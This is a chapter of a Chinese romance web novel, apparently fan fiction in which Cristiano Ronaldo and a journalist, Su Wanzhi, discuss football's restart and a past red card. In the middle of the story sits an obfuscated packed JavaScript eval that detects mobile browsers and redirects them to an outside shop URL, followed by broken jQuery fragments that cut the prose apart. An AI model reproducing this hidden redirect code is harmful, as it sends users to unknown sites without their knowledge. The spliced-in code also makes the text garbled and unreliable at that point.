乔治·门德斯的深夜来电，像一颗投入平静湖面的石子，预示着停摆世界的冰层即将破裂。


    电话持续了很长时间，苏晚栀坐在书房里，能透过玻璃门看到阳台上克里斯蒂亚诺的背影。他大部分时间在听，偶尔简短地回应几句，站姿挺拔，但苏晚栀能感觉到他周身散发出的那种熟悉的、进入“战斗状态”的紧绷感。


    通话结束，克里斯蒂亚诺推门走进来，脸上没什么表情，但眼神锐利了许多。他走到书桌前，拿起水杯喝了一大口，然后看向苏晚栀，语气平静却带着不容置疑的决断：“欧足联和意甲联盟初步达成了协议，联赛可能在六月中旬空场重启。我们需要提前一周归队合练。”


    消息终于落地。苏晚栀的心也跟着一紧。停摆的日子虽然压抑，却也意外地给了他们一段漫长而亲密的相处时光，让她看到了球场之外、更完整的克里斯蒂亚诺。重启，意味着他将重返聚光灯下，意味着压力、竞争和分离将再次成为常态。


    “这么快……”她轻声说，带着一丝自己都未察觉的不舍。


    克里斯蒂亚诺走到她面前，低头看着她，目光深邃，仿佛看穿了她的心思。他伸手，轻轻握住她放在膝上的手，指尖温热有力：“该来的总会来。停下来，是为了更好地前进。” 他顿了顿，嘴角勾起一抹她熟悉的、带着野性的弧度，“而且，我有点……想念草皮的味道了。”


    他的语气轻松，但苏晚栀能感受到他话语下压抑的兴奋和跃跃欲试。足球是他的战场，是他的生命线，短暂的停歇是为了积蓄力量，而非真正的退缩。


    接下来的日子，节奏明显加快。克里斯蒂亚诺的训练计划更加系统化，饮食控制也恢复到赛季中的严格标准。别墅里的气氛从之前的闲适温馨，转变为一种目标明确的、蓄势待发的紧张感。苏晚栀也开始整理这两个多月来积攒的素材，为联赛重启后的报道做准备。


    一天晚上，克里斯蒂亚诺在书房看比赛录像，是几年前一场关键的欧冠淘汰赛。苏晚栀端了杯热牛奶进去，放在他手边，目光不经意扫过屏幕，正好看到一个年轻的、穿着曼联红色7号球衣的克里斯蒂亚诺，在一次激烈的拼抢后，因为对手的挑衅和裁判的误判，情绪失控，申请了一张红牌，黯然离场。画面里的他，脸上写满了不甘、愤怒和少年人的委屈。


    克里斯蒂亚诺也看到了这个画面，他按下暂停键，画面定格在他被罚下时那倔强又狼狈的背影上。书房里一时间有些安静。


    “那时候……一定很难受吧？”苏晚栀轻声问，在他身边的沙发扶手上坐下。


    克里斯蒂亚诺靠在椅背上，目光落在定格的画面上，眼神有些悠远，嘴角却扯出一个略带自嘲的弧度：“何止难受。觉得天都塌了。躲在更衣室里砸东西，觉得全世界都跟我作对。”他顿了顿，转头看她，绿棕色的眼眸在屏幕光的映照下闪着微光，“是不是很幼稚？”


    苏晚栀摇摇头：“很真实。年轻气盛，谁没犯过错。”


    “那不是错，”克里斯蒂亚诺纠正她，语气平静却笃定，“是必经之路。不吃那张红牌，我可能永远学不会，在球场上，情绪是最大的敌人。”他指了指屏幕上的自己，“你看他，眼里只有对手的挑衅和裁判的不公，忘了比赛本身。愤怒让他失去了判断力。”


    苏晚栀若有所思：“所以后来……你学会了控制？”


    “不是控制，”克里斯蒂亚诺纠正道，身体微微前倾，靠近她，目光灼灼，“是转化。把愤怒，变成进球。把质疑，变成燃料。让那些想看你笑话的人，最后只能看着你庆祝。”他的声音低沉，带着一种强大的、近乎冷酷的自信，“那张红牌教会我，眼泪和拳头解决不了问题，只有进球可以。”


    苏晚栀被他的眼神和话语震慑住。这一刻，她仿佛看到了那个从挫折中浴火重生的超级巨星的灵魂内核。强大，不仅仅源于天赋，更源于一次次跌倒后，用更强大的姿态站起来的淬炼。


    “那……如果现在再遇到那种情况呢？”她忍不住问。


    克里斯蒂亚诺低笑一声，伸手捏了捏她的脸颊，动作亲昵：“现在？我会对那个挑衅我的人笑一下，然后……进他两个球。用最漂亮的方式。” 他语气轻松，但眼神里的锋芒让人毫不怀疑他能做到。


    苏晚栀也笑了，心里却对他有了更深的理解。他的强大，并非与生俱来的完美，而是在无数次失败和教训中，一点点打磨出来的铠甲和武器。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975610|193116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “不过，”克里斯蒂亚诺话锋一转，身体靠回椅背，目光重新投向屏幕，语气带着一丝不易察觉的感慨，“有时候，还挺怀念那个会因为一张红牌就哭鼻子的毛头小子的。至少那时候，喜怒哀乐都写在脸上，简单。”


    苏晚栀心念一动，轻声说：“现在的你，也很好。更……有味道。” 说完，她自己先有点不好意思地低下了头。


    克里斯蒂亚诺闻言，转过头，深深地看着她，眼神里带着玩味和一丝探究：“有味道？什么味道？老男人的味道？”


    “不是！”苏晚栀脸一热，嗔怪地瞪他一眼，“是……成熟的味道。像……陈年的酒，更有层次，更……醉人。” 最后几个字，她声音小得像蚊子哼哼。


    克里斯蒂亚诺愣了一下，随即低低地笑了起来，笑声在寂静的书房里格外磁性。他伸手，将她从扶手拉进自己怀里，让她坐在自己腿上，双臂环住她的腰，下巴抵着她的发顶，声音带着愉悦的震动：“苏记者，你这算不算……公然调戏你的采访对象？”


    苏晚栀被他圈在怀里，能闻到他身上淡淡的沐浴露清香和一丝训练后的汗味，混合成一种独特而令人安心的气息。她脸颊发烫，嘴硬道：“我这是客观评价！职业素养！”


    “哦？”克里斯蒂亚诺挑眉，低头，鼻尖蹭了蹭她的耳垂，温热的气息喷洒在她敏感的肌肤上，引起一阵战栗，“那苏记者的职业素养里，包不包括……深入了解一下‘陈年酒’的……后劲？” 他的声音压得很低，带着明显的蛊惑和暧昧。


    苏晚栀的心脏砰砰直跳，浑身发软，连耳根都红透了，一句话也说不出来。


    克里斯蒂亚诺看着她羞赧的样子，眼底的笑意更深，却不再逗她，只是收紧了手臂，将她更紧地拥在怀里，满足地叹了口气：“好吧，看在你这么有‘职业素养’的份上，允许你……慢慢品。”


    两人静静相拥，书房里只剩下屏幕定格的画面和彼此交融的呼吸声。过去的挫折与现在的温情，在寂静的夜里奇妙地交融。


    就在这时，克里斯蒂亚诺放在桌上的手机屏幕又亮了一下，是俱乐部群发的通知，关于下周归队体检和隔离的具体安排。


    重启的倒计时，已经开始。